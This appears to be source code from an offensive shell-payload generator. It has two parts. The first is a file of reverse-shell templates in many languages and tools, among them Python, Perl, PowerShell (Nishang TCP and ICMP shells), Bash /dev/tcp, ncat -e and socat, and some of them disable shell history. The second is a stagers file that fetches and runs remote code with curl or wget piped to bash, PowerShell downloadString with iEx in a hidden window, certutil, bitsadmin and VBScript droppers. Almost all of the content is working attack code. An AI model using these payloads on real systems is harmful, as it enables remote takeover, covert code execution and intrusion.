WINDOWS_NCAT, WINDOWS_SHARPCODE, binary_to_bat, shellcode_to_ps1 3 | from classes import generate_file_name 4 | 5 | 6 | def REV_PYTHON_TCP(): 7 | return """python -c \"import os;import pty;import socket;VAR1='TARGET';VAR2=PORT;VAR3=socket.socket(socket.AF_INET,socket.SOCK_STREAM);VAR3.connect((VAR1,VAR2));os.dup2(VAR3.fileno(),0);os.dup2(VAR3.fileno(),1);os.dup2(VAR3.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');VAR3.close();\" """ 8 | 9 | 10 | def REV_PYTHON_UDP(): 11 | return """python -c \"import os;import pty;import socket;VAR1='TARGET';VAR2=PORT;VAR3=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);VAR3.connect((VAR1,VAR2));os.dup2(VAR3.fileno(),0);os.dup2(VAR3.fileno(),1);os.dup2(VAR3.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');VAR3.close();\" """ 12 | 13 | 14 | def REV_PHP_TCP(): 15 | return r"""php -r "\$VAR1=fsockopen('TARGET',PORT);exec('/bin/sh -i <&3 >&3 2>&3');" """ 16 | 17 | 18 | def REV_RUBY_TCP(): 19 | return """ruby -rsocket -e "exit if fork;VAR1=TCPSocket.new('TARGET',PORT);while(VAR1.print 'shell>';VAR2=VAR1.gets);IO.popen(VAR2,'r'){|VAR3|VAR1.print VAR3.read}end" """ 20 | 21 | 22 | def REV_PERL_TCP(): 23 | return r"""perl -MSocket -e "\$VAR1='TARGET';\$VAR2=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(\$VAR2,inet_aton(\$VAR1)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};" """ 24 | 25 | 26 | def REV_PERL_TCP_2(): 27 | return r"""perl -MIO::Socket::INET -e "\$VAR1=fork;exit,if(\$VAR1);\$VAR2=new IO::Socket::INET(PeerAddr,'TARGET:'.PORT);\$VAR2->send('shell>');STDIN->fdopen(\$VAR2,r);$~->fdopen(\$VAR2,w);system\$_ while<>;" """ 28 | 29 | 30 | def REV_PERL_UDP(): 31 | return """perl -MIO::Socket::INET -e '$|=1;$VAR1 = new IO::Socket::INET(PeerAddr => "TARGET:".PORT,Proto => "udp");while(NUM1){$VAR1->send("shell>");$VAR1->recv($VAR2,1024);$VAR3=$VAR1->peerhost();$VAR4=$VAR1->peerport();$VAR5=qx($VAR2);$VAR1->send($VAR5);}'""" 32 | 33 | 34 | def BASH_TCP(): 35 | return """/bin/bash -i >& /dev/tcp/TARGET/PORT 0>&1""" 36 | 37 | 38 | def REV_POWERSHELL_TCP(): 39 | return """powershell.exe -nop -ep bypass -Command "$VAR1='TARGET';$VAR2=PORT;$VAR3=New-Object System.Net.Sockets.TCPClient($VAR1,$VAR2);$VAR4=$VAR3.GetStream();[byte[]]$VAR5=0..65535|%{0};$VAR6=([text.encoding]::ASCII).GetBytes('PS '+(Get-Location).Path+'> ');$VAR4.Write($VAR6,0,$VAR6.Length);while(($VAR7=$VAR4.Read($VAR5,0,$VAR5.Length)) -ne 0){$VAR8=([text.encoding]::ASCII).GetString($VAR5,0,$VAR7);try{$VAR9=(Invoke-Expression -c $VAR8 2>&1|Out-String)}catch{Write-Warning 'Something went wrong with execution of command on the target.';Write-Error $_;};$VAR10=$VAR9+'PS '+(Get-Location).Path+'> ';$VAR11=($VAR12[0]|Out-String);$VAR12.clear();$VAR10=$VAR10+$VAR11;$VAR6=([text.encoding]::ASCII).GetBytes($VAR10);$VAR4.Write($VAR6,0,$VAR6.Length);$VAR4.Flush();};$VAR3.Close();if($VAR13){$VAR13.Stop();};" """ 40 | 41 | 42 | def REVERSE_TCLSH(): 43 | return """echo 'set VAR1 [socket TARGET [expr PORT]];while NUM1 {puts -nonewline $VAR1 "shell>";flush $VAR1;gets $VAR1 VAR2;set VAR3 "exec $VAR2";if {![catch {set VAR4 [eval $VAR3]} err]} {puts $VAR1 $VAR4};flush $VAR1;};close $VAR1;'|tclsh""" 44 | 45 | 46 | def REVERSE_NCAT(): 47 | return "ncat TARGET PORT -e /bin/bash" 48 | 49 | 50 | def REVERSE_NCAT_SSL(): 51 | return "ncat TARGET PORT --ssl -e /bin/bash" 52 | 53 | 54 | def REVERSE_NC_TRADITIONAL_1(): 55 | return "nc TARGET PORT -c /bin/bash" 56 | 57 | 58 | def REVERSE_NC_UDP_1(): 59 | return """mkfifo fifo ; nc.traditional -u TARGET PORT < fifo | { bash -i; } > fifo""" 60 | 61 | 62 | def REVERSE_MKFIFO_NC(): 63 | return "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|nc TARGET PORT > /tmp/VAR1" 64 | 65 | 66 | def REVERSE_MKNOD_NC(): 67 | return "if [ -e /tmp/VAR1 ];then rm -f /tmp/VAR1;fi;mknod /tmp/VAR1 p && nc TARGET PORT 0/tmp/VAR1" 68 | 69 | 70 | def REVERSE_MKFIFO_TELNET(): 71 | return "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|telnet TARGET PORT > /tmp/VAR1" 72 | 73 | 74 | def REVERSE_MKNOD_TELNET(): 75 | return "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mknod /tmp/VAR1 p && telnet TARGET PORT 0/tmp/VAR1" 76 | 77 | 78 | def REVERSE_SOCAT(): 79 | return """socat tcp-connect:TARGET:PORT exec:"bash -li",pty,stderr,setsid,sigint,sane""" 80 | 81 | 82 | def REVERSE_OPENSSL(): 83 | return "mkfifo /tmp/VAR1; /bin/sh -i < /tmp/VAR1 2>&1 | openssl s_client -quiet -connect TARGET:PORT > /tmp/VAR1; rm /tmp/VAR1" 84 | 85 | 86 | def REVERSE_AWK(): 87 | return """VAR1=PORT;awk -v VAR2="$VAR1" 'BEGIN{VAR3="/inet/tcp/0/TARGET/"VAR2;while(NUM1){do{printf "shell>"|&VAR3;VAR3|& getline VAR4;if(VAR4){while((VAR4|& getline)>0)print $0|&VAR3;close(VAR4);}}while(VAR4!="exit")close(VAR3);break}}' /dev/null""" 88 | 89 | 90 | def REVERSE_AWK_UDP(): 91 | return """VAR1=PORT;awk -v VAR2="$VAR1" 'BEGIN{VAR3="/inet/udp/0/TARGET/"VAR2;while(NUM1){do{printf "shell>"|&VAR3;VAR3|& getline VAR4;if(VAR4){while((VAR4|& getline)>0)print $0|&VAR3;close(VAR4);}}while(VAR4!="exit")close(VAR3);break}}' /dev/null""" 92 | 93 | 94 | def REVERSE_WINDOWS_BAT2METERPRETER_TCP(): 95 | file_out = generate_file_name() 96 | return """{0}\ncertutil -decode %Temp%\\{1}.b64 %Temp%\\{1}.exe\n%Temp%\\{1}.exe """.format( 97 | binary_to_bat(WINDOWS_SHARPCODE, file="%Temp%\\{0}.b64".format(file_out)), file_out) 98 | 99 | 100 | def REVERSE_WINDOWS_NCAT_TCP(): 101 | nc_out = generate_file_name() 102 | return """{0}\ncertutil -decode %Temp%\\{1}.b64 %Temp%\\{1}.exe\n%Temp%\\{1}.exe -e cmd.exe TARGET PORT\ndel %Temp%\\{1}.exe\n""".format( 103 | binary_to_bat(WINDOWS_NCAT, file="%Temp%\\{0}.b64".format(nc_out)), nc_out) 104 | 105 | 106 | def REVERSE_WINDOWS_BLOODSEEKER_TCP(): 107 | return """ Custom Shell requires a Custom code. """ 108 | 109 | 110 | def REVERSE_POWERSHELL_TINY_TCP(): 111 | return """powershell.exe -nop -ep bypass -Command "$VAR1=new-object system.net.sockets.tcpclient('TARGET',PORT);$VAR2=$VAR1.GetStream();[byte[]]$VAR3=0..65535|%{0};while(($VAR4=$VAR2.Read($VAR3,0,$VAR3.Length)) -ne 0){;$VAR5=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($VAR3,0,$VAR4);$VAR6=(iex $VAR5 2>&1|out-string);$VAR8=$VAR6+'PS '+(pwd).Path+'>';$VAR7=([text.encoding]::ASCII).GetBytes($VAR8);$VAR2.Write($VAR7,0,$VAR7.Length);$VAR2.Flush};$VAR1.close()" """ 112 | 113 | 114 | def REVERSE_POWERSHELL_NISHANG_TCP(): 115 | return """function Invoke-PowerShellTcp 116 | { 117 | [CmdletBinding(DefaultParameterSetName="reverse")] Param( 118 | 119 | [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] 120 | [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] 121 | [String] 122 | $IPAddress, 123 | 124 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] 125 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] 126 | [Int] 127 | $Port, 128 | 129 | [Parameter(ParameterSetName="reverse")] 130 | [Switch] 131 | $Reverse, 132 | 133 | [Parameter(ParameterSetName="bind")] 134 | [Switch] 135 | $Bind 136 | 137 | ) 138 | 139 | 140 | try 141 | { 142 | #Connect back if the reverse switch is used. 143 | if ($Reverse) 144 | { 145 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 146 | } 147 | 148 | #Bind to the provided port if Bind switch is used. 149 | if ($Bind) 150 | { 151 | $listener = [System.Net.Sockets.TcpListener]$Port 152 | $listener.start() 153 | $client = $listener.AcceptTcpClient() 154 | } 155 | 156 | $stream = $client.GetStream() 157 | [byte[]]$bytes = 0..65535|%{0} 158 | 159 | #Send back current username and computername 160 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 161 | $stream.Write($sendbytes,0,$sendbytes.Length) 162 | 163 | #Show an interactive PowerShell prompt 164 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 165 | $stream.Write($sendbytes,0,$sendbytes.Length) 166 | 167 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 168 | { 169 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 170 | $data = $EncodedText.GetString($bytes,0, $i) 171 | try 172 | { 173 | #Execute the command on the target. 174 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 175 | } 176 | catch 177 | { 178 | Write-Warning "Something went wrong with execution of command on the target." 179 | Write-Error $_ 180 | } 181 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 182 | $x = ($error[0] | Out-String) 183 | $error.clear() 184 | $sendback2 = $sendback2 + $x 185 | 186 | #Return the results 187 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 188 | $stream.Write($sendbyte,0,$sendbyte.Length) 189 | $stream.Flush() 190 | } 191 | $client.Close() 192 | if ($listener) 193 | { 194 | $listener.Stop() 195 | } 196 | } 197 | catch 198 | { 199 | Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 200 | Write-Error $_ 201 | } 202 | } 203 | Invoke-PowerShellTcp -Reverse -IPAddress TARGET -Port PORT""" 204 | 205 | 206 | def REVERSE_GROOVY_TCP(): 207 | return """groovysh -e 'String VAR1="TARGET";int VAR2=PORT;String VAR3="cmd.exe";Process VAR4=new ProcessBuilder(VAR3).redirectErrorStream(true).start();Socket VAR5=new Socket(VAR1,VAR2);InputStream VAR6=VAR4.getInputStream(),VAR7=VAR4.getErrorStream(), VAR10=VAR5.getInputStream();OutputStream VAR8=VAR4.getOutputStream(),VAR9=VAR5.getOutputStream();while(!VAR5.isClosed()){while(VAR6.available()>0)VAR9.write(VAR6.read());while(VAR7.available()>0)VAR9.write(VAR7.read());while(VAR10.available()>0)VAR8.write(VAR10.read());VAR9.flush();VAR8.flush();Thread.sleep(50);try{VAR4.exitValue();break;}catch(Exception e){}};VAR4.destroy();VAR5.close();'""" 208 | 209 | 210 | def REVERSE_POWERSHELL_ICMP(): 211 | return """function Invoke-PowerShellIcmp 212 | { 213 | <#PORT#> 214 | [CmdletBinding()] Param( 215 | 216 | [Parameter(Position = 0, Mandatory = $true)] 217 | [String] 218 | $IPAddress, 219 | 220 | [Parameter(Position = 1, Mandatory = $false)] 221 | [Int] 222 | $Delay = 5, 223 | 224 | [Parameter(Position = 2, Mandatory = $false)] 225 | [Int] 226 | $BufferSize = 128 227 | 228 | ) 229 | $ICMPClient = New-Object System.Net.NetworkInformation.Ping 230 | $PingOptions = New-Object System.Net.NetworkInformation.PingOptions 231 | $PingOptions.DontFragment = $True 232 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 233 | $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null 234 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') 235 | $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null 236 | while ($true) 237 | { 238 | $sendbytes = ([text.encoding]::ASCII).GetBytes('') 239 | $reply = $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) 240 | if ($reply.Buffer) 241 | { 242 | $response = ([text.encoding]::ASCII).GetString($reply.Buffer) 243 | $result = (Invoke-Expression -Command $response 2>&1 | Out-String ) 244 | $sendbytes = ([text.encoding]::ASCII).GetBytes($result) 245 | $index = [math]::floor($sendbytes.length/$BufferSize) 246 | $i = 0 247 | if ($sendbytes.length -gt $BufferSize) 248 | { 249 | while ($i -lt $index ) 250 | { 251 | $sendbytes2 = $sendbytes[($i*$BufferSize)..(($i+1)*$BufferSize)] 252 | $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null 253 | $i +=1 254 | } 255 | $remainingindex = $sendbytes.Length % $BufferSize 256 | if ($remainingindex -ne 0) 257 | { 258 | $sendbytes2 = $sendbytes[($i*$BufferSize)..($sendbytes.Length)] 259 | $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null 260 | } 261 | } 262 | else 263 | { 264 | $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes, $PingOptions) | Out-Null 265 | } 266 | $sendbytes = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ') 267 | $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null 268 | } 269 | else 270 | { 271 | Start-Sleep -Seconds $Delay 272 | } 273 | } 274 | } 275 | Invoke-PowerShellIcmp -IPAddress TARGET""" 276 | -------------------------------------------------------------------------------- /src/stagers.py: -------------------------------------------------------------------------------- 1 | from shellpop import * 2 | from encoders import powershell_base64, xor, to_unicode, to_urlencode 3 | from classes import base64_wrapper, xor_wrapper 4 | from SimpleHTTPServer import SimpleHTTPRequestHandler 5 | from SocketServer import TCPServer 6 | from socket import * 7 | 8 | 9 | class HTTPServer(object): 10 | def __init__(self, port): 11 | self.port = port 12 | 13 | def check_port(self): 14 | """ 15 | We probe this port, to check if it is available. 16 | """ 17 | sock = socket(AF_INET, SOCK_STREAM) 18 | sock.settimeout(3.0) # maximum delay 19 | try: 20 | sock.connect(('', self.port)) 21 | sock.close() 22 | return False 23 | except: 24 | sock.close() 25 | return True 26 | 27 | def start(self): 28 | print(info("Starting HTTP Server ...")) 29 | handler = SimpleHTTPRequestHandler 30 | server = TCPServer(("", self.port), handler) 31 | server.serve_forever() 32 | 33 | 34 | class HTTPStager(object): 35 | def __init__(self): 36 | self.payload = None 37 | self.args = None 38 | self.opsec = False # Set to true if it is stealth (hides windows or processes) 39 | 40 | def get(self): 41 | """ 42 | Generate the code. 43 | Apply encoding, in the correct order, of course. 44 | """ 45 | # Apply base64 encoding. 46 | self.payload = base64_wrapper(self.name, self.payload, self.args) 47 | 48 | # Apply URL-encoding 49 | if self.args.urlencode is True: 50 | self.payload = to_urlencode(self.payload) 51 | return self.payload 52 | 53 | 54 | # All Payload stagers must have conn_info and payload. 55 | # It must refer to HTTP port and not a shell handler port. 56 | class Python_HTTP_Stager(HTTPStager): 57 | name = "Python HTTP Stager" 58 | 59 | def __init__(self, conn_info, args, filename): 60 | HTTPStager.__init__(self) 61 | self.args = args 62 | self.host = conn_info[0] 63 | self.port = conn_info[1] 64 | self.payload = """python -c "from requests import get;import os;os.system(get('http://{0}:{1}/{2}').text)" """.format(self.host, self.port, filename) 65 | 66 | 67 | class Perl_HTTP_Stager(HTTPStager): 68 | name = "Perl HTTP Stager" 69 | 70 | def __init__(self, conn_info, args, filename): 71 | HTTPStager.__init__(self) 72 | self.args = args 73 | self.host = conn_info[0] 74 | self.port = conn_info[1] 75 | self.payload = """perl -e 'use LWP::UserAgent;my $u=new LWP::UserAgent;my $d="http://{0}:{1}/{2}";my $req=new HTTP::Request("GET", $d);my $res=$u->request($req);my $c=$res->content();system $c' """.format(self.host, 76 | self.port, 77 | filename) 78 | 79 | 80 | class Wget_HTTP_Stager(HTTPStager): 81 | name = "Wget HTTP stager" 82 | 83 | def __init__(self, conn_info, args, filename): 84 | HTTPStager.__init__(self) 85 | self.args = args 86 | self.host = conn_info[0] 87 | self.port = conn_info[1] 88 | self.payload = """wget http://{0}:{1}/{2} -O - |bash -p""".format(self.host, 89 | self.port, filename) 90 | 91 | 92 | class Curl_HTTP_Stager(HTTPStager): 93 | name = "cURL HTTP stager" 94 | 95 | def __init__(self, conn_info, args, filename): 96 | HTTPStager.__init__(self) 97 | self.args = args 98 | self.host = conn_info[0] 99 | self.port = conn_info[1] 100 | self.payload = """curl http://{0}:{1}/{2} |bash -p""".format(self.host, 101 | self.port, filename) 102 | 103 | 104 | class Powershell_HTTP_Stager(HTTPStager): 105 | name = "Powershell cmd.exe HTTP Stager" 106 | 107 | def __init__(self, conn_info, args, filename): 108 | HTTPStager.__init__(self) 109 | self.args = args 110 | self.host = conn_info[0] 111 | self.port = conn_info[1] 112 | self.opsec = True 113 | self.payload = """powershell.exe -nop -w hidden -ep bypass -Command $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy();$x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$p=$x.downloadString('http://{0}:{1}/{2}');cmd.exe /c $p """.format(self.host, self.port, filename) 114 | 115 | 116 | class PurePowershell_HTTP_Stager(HTTPStager): 117 | name = "Pure Powershell HTTP Stager" 118 | 119 | def __init__(self, conn_info, args, filename): 120 | HTTPStager.__init__(self) 121 | self.args = args 122 | self.host = conn_info[0] 123 | self.port = conn_info[1] 124 | self.opsec = True 125 | self.payload = """powershell.exe -nop -w hidden -ep bypass -Command $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy();$x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;iEx $x.downloadString('http://{0}:{1}/{2}') """.format(self.host, self.port, filename) 126 | 127 | 128 | class Certutil_HTTP_Stager(HTTPStager): 129 | name = "CertUtil Windows HTTP Stager" 130 | 131 | def __init__(self, conn_info, args, filename): 132 | HTTPStager.__init__(self) 133 | self.args = args 134 | self.host = conn_info[0] 135 | self.port = conn_info[1] 136 | self.payload = """cmd.exe /c "certutil -urlcache -split -f http://{0}:{1}/{2} {2}.bat && start /b cmd.exe /c {2}.bat" """.format(self.host, self.port, filename) 137 | 138 | 139 | class BitsAdmin_HTTP_Stager(HTTPStager): 140 | name = "BitsAdmin Windows HTTP Stager" 141 | 142 | def __init__(self, conn_info, args, filename): 143 | HTTPStager.__init__(self) 144 | self.args = args 145 | self.host = conn_info[0] 146 | self.port = conn_info[1] 147 | self.payload = """cmd.exe /c "bitsadmin.exe /transfer {0} /download /priority normal http://{1}:{2}/{3} %Temp%\\{3}.bat && start /b cmd.exe /c %Temp%\\{3}.bat" """.format(generate_file_name(), 148 | self.host, self.port, 149 | filename) 150 | 151 | 152 | class VbScriptHttpStager(HTTPStager): 153 | name = "VBScript Windows HTTP Stager" 154 | 155 | def __init__(self, conn_info, args, filename): 156 | HTTPStager.__init__(self) 157 | self.args = args 158 | self.host = conn_info[0] 159 | self.port = conn_info[1] 160 | self.payload = """start /wait /b cmd.exe /c echo var H = new ActiveXObject("WinHttp.WinHttpRequest.5.1");H.Open("GET", "http://{0}:{1}/{2}", /*async=*/false);H.Send();B = new ActiveXObject("ADODB.Stream");B.Type = 1;B.Open();B.Write(H.ResponseBody);B.SaveToFile("{2}.bat"); > {2}.js && cscript {2}.js && {2}.bat""".format(self.host, self.port, filename) 161 | 162 | 163 | def choose_stager(stagers): 164 | """ 165 | Present a choice between an array of stagers. 166 | @zc00l 167 | """ 168 | 169 | # This code snippet is to re-order stager list in a way that 170 | # it will not give me any trouble wth indexing, and still 171 | # let me to be flexible about banning some staging options 172 | # from the shells. 173 | new_list = [] 174 | i = 1 175 | for stager in stagers: 176 | new_list.insert(i-1, (i, stager[1]) ) 177 | i += 1 178 | stagers = new_list 179 | 180 | print(info("Choose a stager: ")) 181 | 182 | for stager in stagers: 183 | print("\033[093m%d\033[0m. ".ljust(3) % stager[0] + "%s" % stager[1].name) 184 | i += 1 185 | n = int(raw_input(info("Stager number: ")), 10) # decimal 186 | if n > len(stagers) or n < 1: 187 | print(error("You cant choose a stager option number higher than the maximum amount of available stagers. Setting it to 1.")) 188 | n = 1 189 | print("\n") 190 | # Loop through each of them. 191 | for stager in stagers: 192 | if stager[0] == n: # if (n-1) is the chosen number. 193 | return stager[1] # return HTTPStager object. 194 | 195 | # These are going to be passed as available stagers in bin/shellpop 196 | 197 | 198 | LINUX_STAGERS = [ 199 | (1, Python_HTTP_Stager), 200 | (2, Perl_HTTP_Stager), 201 | (3, Wget_HTTP_Stager), 202 | (4, Curl_HTTP_Stager), 203 | ] 204 | 205 | WINDOWS_STAGERS = [ 206 | (1, Powershell_HTTP_Stager), 207 | (2, Certutil_HTTP_Stager), 208 | (3, BitsAdmin_HTTP_Stager), 209 | (4, VbScriptHttpStager) 210 | ] --------------------------------------------------------------------------------